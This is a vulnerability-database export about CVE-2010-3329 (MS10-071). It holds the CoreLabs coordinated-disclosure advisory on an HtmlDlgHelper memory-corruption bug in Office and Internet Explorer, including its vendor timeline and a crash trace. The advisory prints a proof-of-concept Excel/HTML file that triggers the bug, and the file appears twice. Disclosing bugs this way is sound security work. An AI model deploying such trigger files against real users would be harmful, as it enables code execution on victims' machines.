o:extrusionok="f" strokeok="f" fillok="f"\r\n o:connecttype="rect"/>\r\n <o:lock v:ext="edit" shapetype="t"/>\r\n </v:shapetype><v:shape id="_x0000_s1025" type="#_x0000_t201"\r\nstyle='position:absolute;\r\n margin-left:0;margin-top:0;width:48pt;height:12.75pt;z-index:1'\r\n strokecolor="windowText [64]" o:insetmode="auto">\r\n <![if gte mso 9]><o:title=""/>\r\n <![endif]><x:ClientData ObjectType="Pict">\r\n <x:SizeWithCells/>\r\n <x:CF>Pict</x:CF>\r\n <x:AutoPict/>\r\n </x:ClientData>\r\n </v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout;\r\n position:absolute;z-index:1;margin-left:0px;margin-top:0px;width:64px;\r\n height:17px'><![endif]>\r\n \r\n<object classid="CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B"\r\nid=obj></object>\r\n \r\n<![if !vml]></span><![endif]><span\r\n style='mso-ignore:vglayout2'>\r\n <table cellpadding=0 cellspacing=0>\r\n <tr>\r\n <td height=17 width=64 style='height:12.75pt;width:48pt'></td>\r\n </tr>\r\n </table>\r\n </span></td>\r\n </tr>\r\n <![if supportMisalignedColumns]>\r\n <tr height=0 style='display:none'>\r\n <td width=64 style='width:48pt'></td>\r\n </tr>\r\n <![endif]>\r\n</table>\r\n</body>\r\n</html>\r\n \r\n-----/\r\n \r\n \r\nThis exploitable condition was reproduced in the following versions of\r\n'mshtmled.dll':\r\n \r\n . 'mshtmled.dll' v8.0.6001.18702\r\n . 'mshtmled.dll' v8.0.6001.18000\r\n . 'mshtmled.dll' v7.0.6000.17023\r\n . 'mshtmled.dll' v7.0.6000.17080\r\n \r\n \r\n8. *Report Timeline*\r\n \r\n. 2010-05-28:\r\nInitial notification to the vendor. Draft advisory and proof-of-concept\r\nfiles sent to MSRC. Publication date set for July 13, 2010.\r\n \r\n. 2010-06-11:\r\nCore requests from the vendor an update on the status of this case.\r\n \r\n. 2010-06-14:\r\nThe vendor responds that its engineers are still investigating this\r\nissue; and that they expect to have more information from the\r\ninvestigation and triage process within the next few days.\r\n \r\n. 2010-06-15:\r\nThe vendors informs that they have been determined that the ActiveX\r\ncontrol is marked as "Not Safe for Initialization"; and prompts the user\r\nwith a dialog that warns the user that they are going to be executing a\r\npotentially malicious code. In consequence, the vendor treats this case\r\nas the same scenario as a user that tries to enable and open an Office\r\ndocument with a Macro or VBA code contained within.\r\n \r\n. 2010-06-15:\r\nCore asks the vendor if the previous mail means that it does not intent\r\nto fix the bug or that it does not recognize it as a security issue. The\r\nreporter's viewpoint is that a dialog prompt is not a fix "per se" and\r\njust a defense in depth mechanism; and that he would prefer to see the\r\nbug fixed rather than relying on mitigations that prevent exploitation.\r\n \r\n. 2010-06-15:\r\nCore adds the following information: in Office 2003 even if the user\r\nanswers No to the ActiveX dialog, the application ends up crashing.\r\n \r\n. 2010-06-16:\r\nVendor responds that it is currently investigating the new information.\r\n \r\n. 2010-06-28:\r\nVendor informs that it has found that the vulnerable code actually\r\nexists and is owned by the IE team whom is currently investigating the\r\ncrash; and that this case is transferred over to them (and to a new case\r\nmanager as well).\r\n \r\n. 2010-07-02:\r\nVendor informs Core that the IE team has finished the investigation into\r\nthis issue and was able to reproduce the issue reported. During the\r\ninvestigation it was determined that this is an exploitable crash in\r\nInternet Explorer. Vendor will send Core the list of affected Internet\r\nExplorer versions when available.\r\n \r\n. 2010-07-02:\r\nCore acknowledges receipt of the update, and reminds that although the\r\nvulnerable code is owned by the IE team this also affects Office\r\n(including 2010). Core offers to postpone publication of its advisory\r\nfrom July 13th to August 10th on the basis of a firm commitment to a\r\nrelease date from the vendor's side. Core informs that it is evaluating\r\nthe possibility of using Office killbit recently introduced by MS10-036\r\nas a workaround, but that MS10-036 points to a knowledge base article\r\n[2] that is no longer available.\r\n \r\n. 2010-07-07:\r\nVendor acknowledges previous mail, and states that it will determine\r\nwith the product team how this fix could be included in the August\r\nrelease. Vendor requests an updated version of the advisory, and to\r\ninclude a vendor statement.\r\n \r\n. 2010-07-22:\r\nCore requests an update on the status of the vulnerability report; and\r\ninforms that publication of its advisory has been rescheduled to August\r\n10, 2010, despite the fact that Core did not receive any updates. Core\r\ninforms that the publication of this advisory is transferred to a new\r\ncase manager.\r\n \r\n. 2010-08-04:\r\nCore sends an updated version of the advisory and also asks if MSRC can\r\nprovide:\r\n 1. The list of affected software versions.\r\n 2. The CVE number assigned to this vulnerability (if it exists).\r\n 3. The steps to reproduce the vulnerability in IE [3].\r\n 4. The link to the knowledge base article about the newly introduced\r\nOffice killbit given that Core is investigating using that defense\r\nmechanism as a workaround but MS10-036 points to a knowledge base\r\narticle that is no longer available\r\n([http://support.microsoft.com/kb/983632]).\r\n \r\n Core also notifies this advisory is currently scheduled to be published\r\non August 10, 2010 but the publication can be reviewed if Microsoft\r\nresponds with a firm commitment to a release date of fixes, and\r\ntechnical information about the root cause of this vulnerability.\r\n \r\n. 2010-08-04:\r\nMSRC responds that the updated advisory draft was internally forwarded\r\nand they are working on collecting answers to the requested questions.\r\n \r\n. 2010-08-05:\r\nMSRC sends the answers to the asked questions:\r\n 1. The affected versions of Internet Explorer are IE6 [4], IE7 and IE8.\r\n 2. MSRC is unable to assign a CVE as it is too early. CVEs are\r\ntypically assigned closer to the scheduled release date and MSRC will\r\nreceive the block of CVEs from Mitre for the October release of the\r\nInternet Explorer security update.\r\n 3. MSRC notifies there is no attack vector in IE, and they cannot\r\nprovide steps to reproduce the vulnerability in IE.\r\n 4. The knowledge base article about the newly introduced Office\r\nkillbit was redirected to [http://support.microsoft.com/kb/2252664].\r\n \r\n. 2010-08-06:\r\nCore asks MSRC to clarify if the fix for this issue has been scheduled\r\nto be released in October.\r\n \r\n. 2010-08-06:\r\nMSRC confirms that the fix for this issue is scheduled for the October\r\nrelease of IE.\r\n \r\n. 2010-08-09:\r\nCore re-schedules the publication of the advisory for October 12 and\r\nnotifies that this date should be considered as final, if Microsoft does\r\nnot release fixes on that date, the advisory will be released as 'user\r\nrelease'.\r\n \r\n. 2010-08-09:\r\nMSRC confirms that the fix for this issue is scheduled for the October\r\nrelease of IE.\r\n \r\n. 2010-10-01:\r\nMSRC provides a status update about this issue and notifies that it is\r\nslated to be included in the October release of the IE Cumulative Update\r\nand SafeHTML update scheduled for October 12, 2010. MSRC also notifies\r\nthat the CVE assigned to this issue is CVE-2010-3329.\r\n \r\n. 2010-10-01:\r\nMSRC notifies that they have made a mistake and included an invalid\r\ndetail in the last status update. In particular, the issue does not\r\naffect the SafeHTML update scheduled for October but it will be shipping\r\nin the IE Cumulative Update scheduled for October.\r\n \r\n. 2010-10-01:\r\nCore acknowledges the MSRC's e-mail and notifies that although the\r\nproblem is located in IE-owned code, the problem also affects Office up\r\nto 2010. Core assumes this will be specified in the MSRC bulletin and\r\nasks for confirmation.\r\n \r\n. 2010-10-04:\r\nMSRC confirms that the description of the vulnerability calls out that\r\nthe vector to the vulnerability is through opening a word document.\r\n \r\n. 2010-10-12:\r\nAdvisory CORE-2010-0517 is published.\r\n \r\n \r\n9. *References*\r\n \r\n[1] Microsoft security bulletin summary for October 2010 -\r\n[http://www.microsoft.com/technet/security/bulletin/ms10-oct.mspx].\r\n[2] Office killbit [http://support.microsoft.com/kb/983632].\r\n[3] This bug was originally investigated in Microsoft Office by Core,\r\nbut MSRC determined [2010-07-02] that this bug is an exploitable crash\r\nin Internet Explorer.\r\n[4] MSRC was not able to reproduce this issue on IE6, however they\r\nnotifies the code has been determined to exist in this version and the\r\nfix will be scoped to address this platform as well.\r\n \r\n \r\n10. *About CoreLabs*\r\n \r\nCoreLabs, the research center of Core Security Technologies, is charged\r\nwith anticipating the future needs and requirements for information\r\nsecurity technologies. We conduct our research in several important\r\nareas of computer security including system vulnerabilities, cyber\r\nattack planning and simulation, source code auditing, and cryptography.\r\nOur results include problem formalization, identification of\r\nvulnerabilities, novel solutions and prototypes for new technologies.\r\nCoreLabs regularly publishes security advisories, technical papers,\r\nproject information and shared software tools for public use at:\r\n[http://corelabs.coresecurity.com/].\r\n \r\n \r\n11. *About Core Security Technologies*\r\n \r\nCore Security Technologies develops strategic solutions that help\r\nsecurity-conscious organizations worldwide develop and maintain a\r\nproactive process for securing their networks. The company's flagship\r\nproduct, CORE IMPACT, is the most comprehensive product for performing\r\nenterprise security assurance testing. CORE IMPACT evaluates network,\r\nendpoint and end-user vulnerabilities and identifies what resources are\r\nexposed. It enables organizations to determine if current security\r\ninvestments are detecting and preventing attacks. Core Security\r\nTechnologies augments its leading technology solution with world-class\r\nsecurity consulting services, including penetration testing and software\r\nsecurity auditing. Based in Boston, MA and Buenos Aires, Argentina, Core\r\nSecurity Technologies can be reached at 617-399-6980 or on the Web at\r\n[http://www.coresecurity.com].\r\n \r\n \r\n12. *Disclaimer*\r\n \r\nThe contents of this advisory are copyright (c) 2010 Core Security\r\nTechnologies and (c) 2010 CoreLabs, and are licensed under a Creative\r\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\r\nLicense: [http://creativecommons.org/licenses/by-nc-sa/3.0/us/]\r\n \r\n \r\n13. *PGP/GPG Keys*\r\n \r\nThis advisory has been signed with the GPG key of Core Security\r\nTechnologies advisories team, which is available for download at\r\n[http://www.coresecurity.com/files/attachments/core_security_advisories.asc].\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-20184", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-11-19T18:08:18", "description": "BUGTRAQ ID: 43696,43705,43706,43707\r\nCVE ID: CVE-2010-3326,CVE-2010-3328,CVE-2010-3329,CVE-2010-3331\r\n\r\nInternet Explorer\u662fWindows\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u9ed8\u8ba4\u6346\u7ed1\u7684WEB\u6d4f\u89c8\u5668\u3002\r\n\r\nInternet Explorer\u8bbf\u95ee\u672a\u6b63\u786e\u521d\u59cb\u5316\u6216\u5df2\u88ab\u5220\u9664\u7684\u5bf9\u8c61\u7684\u65b9\u5f0f\u4e2d\u5b58\u5728\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u6f0f\u6d1e\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6784\u5efa\u7279\u5236\u7684\u7f51\u9875\u6765\u5229\u7528\u8be5\u6f0f\u6d1e\uff0c\u5f53\u7528\u6237\u67e5\u770b\u7f51\u9875\u65f6\uff0c\u8be5\u6f0f\u6d1e\u53ef\u80fd\u5141\u8bb8\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u3002\u6210\u529f\u5229\u7528\u6b64\u6f0f\u6d1e\u7684\u653b\u51fb\u8005\u53ef\u4ee5\u83b7\u5f97\u4e0e\u767b\u5f55\u7528\u6237\u76f8\u540c\u7684\u7528\u6237\u6743\u9650\u3002\u5982\u679c\u7528\u6237\u4f7f\u7528\u7ba1\u7406\u7528\u6237\u6743\u9650\u767b\u5f55\uff0c\u6210\u529f\u5229\u7528\u6b64\u6f0f\u6d1e\u7684\u653b\u51fb\u8005\u4fbf\u53ef\u5b8c\u5168\u63a7\u5236\u53d7\u5f71\u54cd\u7684\u7cfb\u7edf\u3002\n\nMicrosoft Internet Explorer 8.0\r\nMicrosoft Internet Explorer 7.0\r\nMicrosoft Internet Explorer 6.0\n\u4e34\u65f6\u89e3\u51b3\u65b9\u6cd5\uff1a\r\n\r\n* \u5c06Internet Explorer\u914d\u7f6e\u4e3a\u5728Internet\u548c\u672c\u5730Intranet\u5b89\u5168\u533a\u57df\u4e2d\u8fd0\u884cActiveX\u63a7\u4ef6\u548c\u6d3b\u52a8\u811a\u672c\u4e4b\u524d\u8fdb\u884c\u63d0\u793a\u3002\r\n \r\n* \u5c06Internet \u548c\u672c\u5730Intranet\u5b89\u5168\u533a\u57df\u8bbe\u7f6e\u8bbe\u4e3a\u201c\u9ad8\u201d\uff0c\u4ee5\u4fbf\u5728\u8fd9\u4e9b\u533a\u57df\u4e2d\u8fd0\u884cActiveX\u63a7\u4ef6\u548c\u6d3b\u52a8\u811a\u672c\u4e4b\u524d\u8fdb\u884c\u63d0\u793a\u3002\r\n\r\n\u5382\u5546\u8865\u4e01\uff1a\r\n\r\nMicrosoft\r\n---------\r\nMicrosoft\u5df2\u7ecf\u4e3a\u6b64\u53d1\u5e03\u4e86\u4e00\u4e2a\u5b89\u5168\u516c\u544a\uff08MS10-071\uff09\u4ee5\u53ca\u76f8\u5e94\u8865\u4e01:\r\nMS10-071\uff1aCumulative Security Update for Internet Explorer (2360131)\r\n\u94fe\u63a5\uff1ahttp://www.microsoft.com/technet/security/bulletin/MS10-071.mspx?pf=true", "cvss3": {}, "published": "2010-10-15T00:00:00", "type": "seebug", "title": "Microsoft IE\u591a\u4e2a\u672a\u521d\u59cb\u5316\u5185\u5b58\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08MS10-071\uff09", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2010-3326", "CVE-2010-3328", "CVE-2010-3329", "CVE-2010-3331"], "modified": "2010-10-15T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-20170", "id": "SSV:20170", "sourceData": "", "sourceHref": "", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitdb": [{"lastseen": "2023-06-07T16:23:31", "description": "", "cvss3": {}, "published": "2010-10-16T00:00:00", "type": "exploitdb", "title": "Microsoft Office - 'HtmlDlgHelper' Class Memory Corruption (MS10-071)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2010-3329", "CVE-2010-3329"], "modified": "2010-10-16T00:00:00", "id": "EDB-ID:15262", "href": "https://www.exploit-db.com/exploits/15262", "sourceData": "Core Security Technologies - CoreLabs Advisory\n http://corelabs.coresecurity.com\n\n Microsoft Office HtmlDlgHelper class memory corruption\n\n\n1. *Advisory Information*\n\nTitle: Microsoft Office HtmlDlgHelper class memory corruption\nAdvisory Id: CORE-2010-0517\nAdvisory URL:\n[http://www.coresecurity.com/content/MS-Office-HtmlDlgHelper-memory-corruption]\nDate published: 2010-10-12\nDate of last update: 2010-10-14\nVendors contacted: Microsoft\nRelease mode: Coordinated release\n\n\n2. *Vulnerability Information*\n\nClass: Missing Initialization [CWE-456]\nImpact: Code execution\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2010-3329\nBugtraq ID: N/A\n\n\n3. *Vulnerability Description*\n\nMicrosoft Windows is prone to a memory corruption vulnerability when\ninstantiating the 'HtmlDlgHelper Class Object' in a Microsoft Office\nDocument (ie: .XLS, .DOC). The affected vulnerable module is part of\nInternet Explorer ('mshtmled.dll'). This vulnerability could be used by\na remote attacker to execute arbitrary code with the privileges of the\nuser that opened the malicious file.\n\n\n4. *Vulnerable packages*\n\n . IE 6\n . IE 7\n . IE 8\n . MS Office XP\n . MS Office 2003\n . MS Office 2007 and MS Office 2010 (the control is disabled by default)\n\n\n5. *Non-vulnerable packages*\n\n . For further information and patches about this issue look at the\nMicrosoft Security Bulletin Summary for October 2010 [1], patch ms10-071.\n\n\n6. *Credits*\n\nThis vulnerability was discovered by Damian Frizza from Core Security\nTechnologies.\n\n\n7. *Technical Description / Proof of Concept Code*\n\nMicrosoft Windows is prone to a memory corruption vulnerability when\ninstantiating the 'HtmlDlgHelper Class Object'\n('CLASSID:3050f4e1-98b5-11cf-bb82-00aa00bdce0b') in a Microsoft Office\nDocument (ie: .XLS, .DOC). The affected vulnerable module is part of\nInternet Explorer ('mshtmled.dll'). The vulnerability occurs in\n'mshtmled.dll' when the destructor of the 'CHtmlDlgHelper' class is\ncalled and then makes access to uninitialized memory.\n\nThe ActiveX control is marked as \"Not Safe for Initialization\", and\nprompts the user with: \"ActiveX controls might contain viruses or other\nsecurity hazards. Do not enable this content unless you trust the source\nof this file\". However, in Office 2003 the bug is triggered even if the\nuser answers \"No\" to the prompt.\n\nThe following code is where the vulnerability occurs, when opening a\n.XLS document on Microsoft Office Excel 2003 ('mshtmled.dll'\nv8.0.6001.18702):\n\n/-----\nmshtmled!ReleaseInterface:\n42b919c0 8bff mov edi,edi\n42b919c2 55 push ebp\n42b919c3 8bec mov ebp,esp\n42b919c5 8b4508 mov eax,dword ptr [ebp+8]\nss:0023:0013d104=00310065\n42b919c8 85c0 test eax,eax\n42b919ca 7406 je mshtmled!ReleaseInterface+0x12\n(42b919d2) [br=0]\n42b919cc 8b08 mov ecx,dword ptr [eax] ds:0023:00310065\n42b919ce 50 push eax\n42b919cf ff5108 call dword ptr [ecx+8]\nds:0023:7d02029c=2a2c277a\n\neax=00310065 ebx=00000000 ecx=7d020294 edx=df0b3d60 esi=001edbdc\nedi=00000000\neip=2a2c277a esp=0013d0f4 ebp=0013d0fc iopl=0 nv up ei pl nz na\npe nc\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000\nefl=00000206\n\nStack Trace:\n<Unloaded_ion.dll>+0x2a2c2779\nmshtmled!ReleaseInterface+0x12\nmshtmled!CHtmlDlgHelper::~CHtmlDlgHelper+0x10\nmshtmled!ATL::CComAggObject<CHtmlDlgHelper>::`scalar deleting\ndestructor'+0xd\nmshtmled!ATL::CComAggObject<CHtmlDlgHelper>::Release+0x27\nVBE6!rtcStrConvVar+0xbd65\nVBE6!rtcSetDatabaseLcid+0xa823\nEXCEL!Ordinal41+0xd2ad0\nEXCEL!Ordinal41+0x14082a\nUSER32!CallWindowProcW+0x1b\nInstruction Address: 0x000000002a2c277a\n-----/\n\n\nThe following html code demonstrates the bug on Excel 2002/2003. Save\nthe file as .XLS and open it on Excel.\n\n/-----\n<html xmlns:v=\"urn:schemas-microsoft-com:vml\"\nxmlns:o=\"urn:schemas-microsoft-com:office:office\"\nxmlns:x=\"urn:schemas-microsoft-com:office:excel\">\n\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<meta name=ProgId content=Excel.Sheet>\n<meta name=Generator content=\"Microsoft Excel 10\">\n<!--[if !mso]>\n<style>\nv\\:* {behavior:url(#default#VML);}\no\\:* {behavior:url(#default#VML);}\nx\\:* {behavior:url(#default#VML);}\n.shape {behavior:url(#default#VML);}\n</style>\n<![endif]--><!--[if gte mso 9]><xml>\n <o:DocumentProperties>\n <o:LastAuthor>TEST</o:LastAuthor>\n <o:LastSaved>2010-08-03T05:19:51Z</o:LastSaved>\n <o:Version>10.6858</o:Version>\n </o:DocumentProperties>\n <o:OfficeDocumentSettings>\n <o:DownloadComponents/>\n </o:OfficeDocumentSettings>\n</xml><![endif]-->\n\n<!--[if gte mso 9]><xml>\n <x:ExcelWorkbook>\n <x:ExcelWorksheets>\n <x:ExcelWorksheet>\n <x:Name>test</x:Name>\n <x:WorksheetOptions>\n <x:CodeName>Sheet1</x:CodeName>\n <x:Selected/>\n <x:DoNotDisplayGridlines/>\n <x:ProtectContents>False</x:ProtectContents>\n <x:ProtectObjects>False</x:ProtectObjects>\n <x:ProtectScenarios>False</x:ProtectScenarios>\n </x:WorksheetOptions>\n </x:ExcelWorksheet>\n </x:ExcelWorksheets>\n <x:WindowHeight>9345</x:WindowHeight>\n <x:WindowWidth>13260</x:WindowWidth>\n <x:WindowTopX>240</x:WindowTopX>\n <x:WindowTopY>60</x:WindowTopY>\n <x:ProtectStructure>False</x:ProtectStructure>\n <x:ProtectWindows>False</x:ProtectWindows>\n </x:ExcelWorkbook>\n</xml><![endif]--><!--[if gte mso 9]><xml>\n <o:shapedefaults v:ext=\"edit\" spidmax=\"1026\"/>\n</xml><![endif]--><!--[if gte mso 9]><xml>\n <o:shapelayout v:ext=\"edit\">\n <o:idmap v:ext=\"edit\" data=\"1\"/>\n </o:shapelayout></xml><![endif]-->\n</head>\n\n<body link=blue vlink=purple>\n\n<table x:str border=0 cellpadding=0 cellspacing=0 width=64\nstyle='border-collapse:\n collapse;table-layout:fixed;width:48pt'>\n <col width=64 style='width:48pt'>\n <tr height=17 style='height:12.75pt'>\n <td height=17 width=64 style='height:12.75pt;width:48pt' align=left\n valign=top><!--[if gte vml 1]><v:shapetype id=\"_x0000_t201\"\ncoordsize=\"21600,21600\"\n o:spt=\"201\" path=\"m,l,21600r21600,l21600,xe\">\n <v:stroke joinstyle=\"miter\"/>\n <v:path shadowok=\"f\" o:extrusionok=\"f\" strokeok=\"f\" fillok=\"f\"\n o:connecttype=\"rect\"/>\n <o:lock v:ext=\"edit\" shapetype=\"t\"/>\n </v:shapetype><v:shape id=\"_x0000_s1025\" type=\"#_x0000_t201\"\nstyle='position:absolute;\n margin-left:0;margin-top:0;width:48pt;height:12.75pt;z-index:1'\n strokecolor=\"windowText [64]\" o:insetmode=\"auto\">\n <![if gte mso 9]><o:title=\"\"/>\n <![endif]><x:ClientData ObjectType=\"Pict\">\n <x:SizeWithCells/>\n <x:CF>Pict</x:CF>\n <x:AutoPict/>\n </x:ClientData>\n </v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout;\n position:absolute;z-index:1;margin-left:0px;margin-top:0px;width:64px;\n height:17px'><![endif]>\n\n<object classid=\"CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B\"\nid=obj></object>\n\n<![if !vml]></span><![endif]><span\n style='mso-ignore:vglayout2'>\n <table cellpadding=0 cellspacing=0>\n <tr>\n <td height=17 width=64 style='height:12.75pt;width:48pt'></td>\n </tr>\n </table>\n </span></td>\n </tr>\n <![if supportMisalignedColumns]>\n <tr height=0 style='display:none'>\n <td width=64 style='width:48pt'></td>\n </tr>\n <![endif]>\n</table>\n</body>\n</html>\n\n-----/\n\n\nThis exploitable condition was reproduced in the following versions of\n'mshtmled.dll':\n\n . 'mshtmled.dll' v8.0.6001.18702\n . 'mshtmled.dll' v8.0.6001.18000\n . 'mshtmled.dll' v7.0.6000.17023\n . 'mshtmled.dll' v7.0.6000.17080\n\n\n8. *Report Timeline*\n\n. 2010-05-28:\nInitial notification to the vendor. Draft advisory and proof-of-concept\nfiles sent to MSRC. Publication date set for July 13, 2010.\n\n. 2010-06-11:\nCore requests from the vendor an update on the status of this case.\n\n. 2010-06-14:\nThe vendor responds that its engineers are still investigating this\nissue; and that they expect to have more information from the\ninvestigation and triage process within the next few days.\n\n. 2010-06-15:\nThe vendors informs that they have been determined that the ActiveX\ncontrol is marked as \"Not Safe for Initialization\"; and prompts the user\nwith a dialog that warns the user that they are going to be executing a\npotentially malicious code. In consequence, the vendor treats this case\nas the same scenario as a user that tries to enable and open an Office\ndocument with a Macro or VBA code contained within.\n\n. 2010-06-15:\nCore asks the vendor if the previous mail means that it does not intent\nto fix the bug or that it does not recognize it as a security issue. The\nreporter's viewpoint is that a dialog prompt is not a fix \"per se\" and\njust a defense in depth mechanism; and that he would prefer to see the\nbug fixed rather than relying on mitigations that prevent exploitation.\n\n. 2010-06-15:\nCore adds the following information: in Office 2003 even if the user\nanswers No to the ActiveX dialog, the application ends up crashing.\n\n. 2010-06-16:\nVendor responds that it is currently investigating the new information.\n\n. 2010-06-28:\nVendor informs that it has found that the vulnerable code actually\nexists and is owned by the IE team whom is currently investigating the\ncrash; and that this case is transferred over to them (and to a new case\nmanager as well).\n\n. 2010-07-02:\nVendor informs Core that the IE team has finished the investigation into\nthis issue and was able to reproduce the issue reported. During the\ninvestigation it was determined that this is an exploitable crash in\nInternet Explorer. Vendor will send Core the list of affected Internet\nExplorer versions when available.\n\n. 2010-07-02:\nCore acknowledges receipt of the update, and reminds that although the\nvulnerable code is owned by the IE team this also affects Office\n(including 2010). Core offers to postpone publication of its advisory\nfrom July 13th to August 10th on the basis of a firm commitment to a\nrelease date from the vendor's side. Core informs that it is evaluating\nthe possibility of using Office killbit recently introduced by MS10-036\nas a workaround, but that MS10-036 points to a knowledge base article\n[2] that is no longer available.\n\n. 2010-07-07:\nVendor acknowledges previous mail, and states that it will determine\nwith the product team how this fix could be included in the August\nrelease. Vendor requests an updated version of the advisory, and to\ninclude a vendor statement.\n\n. 2010-07-22:\nCore requests an update on the status of the vulnerability report; and\ninforms that publication of its advisory has been rescheduled to August\n10, 2010, despite the fact that Core did not receive any updates. Core\ninforms that the publication of this advisory is transferred to a new\ncase manager.\n\n. 2010-08-04:\nCore sends an updated version of the advisory and also asks if MSRC can\nprovide:\n 1. The list of affected software versions.\n 2. The CVE number assigned to this vulnerability (if it exists).\n 3. The steps to reproduce the vulnerability in IE [3].\n 4. The link to the knowledge base article about the newly introduced\nOffice killbit given that Core is investigating using that defense\nmechanism as a workaround but MS10-036 points to a knowledge base\narticle that is no longer available\n([http://support.microsoft.com/kb/983632]).\n\n Core also notifies this advisory is currently scheduled to be published\non August 10, 2010 but the publication can be reviewed if Microsoft\nresponds with a firm commitment to a release date of fixes, and\ntechnical information about the root cause of this vulnerability.\n\n. 2010-08-04:\nMSRC responds that the updated advisory draft was internally forwarded\nand they are working on collecting answers to the requested questions.\n\n. 2010-08-05:\nMSRC sends the answers to the asked questions:\n 1. The affected versions of Internet Explorer are IE6 [4], IE7 and IE8.\n 2. MSRC is unable to assign a CVE as it is too early. CVEs are\ntypically assigned closer to the scheduled release date and MSRC will\nreceive the block of CVEs from Mitre for the October release of the\nInternet Explorer security update.\n 3. MSRC notifies there is no attack vector in IE, and they cannot\nprovide steps to reproduce the vulnerability in IE.\n 4. The knowledge base article about the newly introduced Office\nkillbit was redirected to [http://support.microsoft.com/kb/2252664].\n\n. 2010-08-06:\nCore asks MSRC to clarify if the fix for this issue has been scheduled\nto be released in October.\n\n. 2010-08-06:\nMSRC confirms that the fix for this issue is scheduled for the October\nrelease of IE.\n\n. 2010-08-09:\nCore re-schedules the publication of the advisory for October 12 and\nnotifies that this date should be considered as final, if Microsoft does\nnot release fixes on that date, the advisory will be released as 'user\nrelease'.\n\n. 2010-08-09:\nMSRC confirms that the fix for this issue is scheduled for the October\nrelease of IE.\n\n. 2010-10-01:\nMSRC provides a status update about this issue and notifies that it is\nslated to be included in the October release of the IE Cumulative Update\nand SafeHTML update scheduled for October 12, 2010. MSRC also notifies\nthat the CVE assigned to this issue is CVE-2010-3329.\n\n. 2010-10-01:\nMSRC notifies that they have made a mistake and included an invalid\ndetail in the last status update. In particular, the issue does not\naffect the SafeHTML update scheduled for October but it will be shipping\nin the IE Cumulative Update scheduled for October.\n\n. 2010-10-01:\nCore acknowledges the MSRC's e-mail and notifies that although the\nproblem is located in IE-owned code, the problem also affects Office up\nto 2010. Core assumes this will be specified in the MSRC bulletin and\nasks for confirmation.\n\n. 2010-10-04:\nMSRC confirms that the description of the vulnerability calls out that\nthe vector to the vulnerability is through opening a word document.\n\n. 2010-10-12:\nAdvisory CORE-2010-0517 is published.\n\n\n9. *References*\n\n[1] Microsoft security bulletin summary for October 2010 -\n[http://www.microsoft.com/technet/security/bulletin/ms10-oct.mspx].\n[2] Office killbit [http://support.microsoft.com/kb/983632].\n[3] This bug was originally investigated in Microsoft Office by Core,\nbut MSRC determined [2010-07-02] that this bug is an exploitable crash\nin Internet Explorer.\n[4] MSRC was not able to reproduce this issue on IE6, however they\nnotifies the code has been determined to exist in this version and the\nfix will be scoped to address this platform as well.\n\n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography.\nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies.\nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\n[http://corelabs.coresecurity.com/].\n\n\n11. *About Core Security Technologies*\n\nCore Security Technologies develops strategic solutions that help\nsecurity-conscious organizations worldwide develop and maintain a\nproactive process for securing their networks. The company's flagship\nproduct, CORE IMPACT, is the most comprehensive product for performing\nenterprise security assurance testing. CORE IMPACT evaluates network,\nendpoint and end-user vulnerabilities and identifies what resources are\nexposed. It enables organizations to determine if current security\ninvestments are detecting and preventing attacks. Core Security\nTechnologies augments its leading technology solution with world-class\nsecurity consulting services, including penetration testing and software\nsecurity auditing. Based in Boston, MA and Buenos Aires, Argentina, Core\nSecurity Technologies can be reached at 617-399-6980 or on the Web at\n[http://www.coresecurity.com].\n\n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2010 Core Security\nTechnologies and (c) 2010 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: [http://creativecommons.org/licenses/by-nc-sa/3.0/us/]\n\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\n[http://www.coresecurity.com/files/attachments/core_security_advisories.asc].", "sourceHref": "https://gitlab.com/exploit-database/exploitdb/-/raw/main/exploits/windows/dos/15262.txt", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2017-07-20T08:49:13", "description": "This host is missing a critical security update according to\n Microsoft Bulletin MS10-071.", "cvss3": {}, "published": "2010-10-13T00:00:00", "type": "openvas", "title": "Microsoft Internet Explorer Multiple Vulnerabilities (2360131)", "bulletinFamily": "scanner", "cvss2": {}, 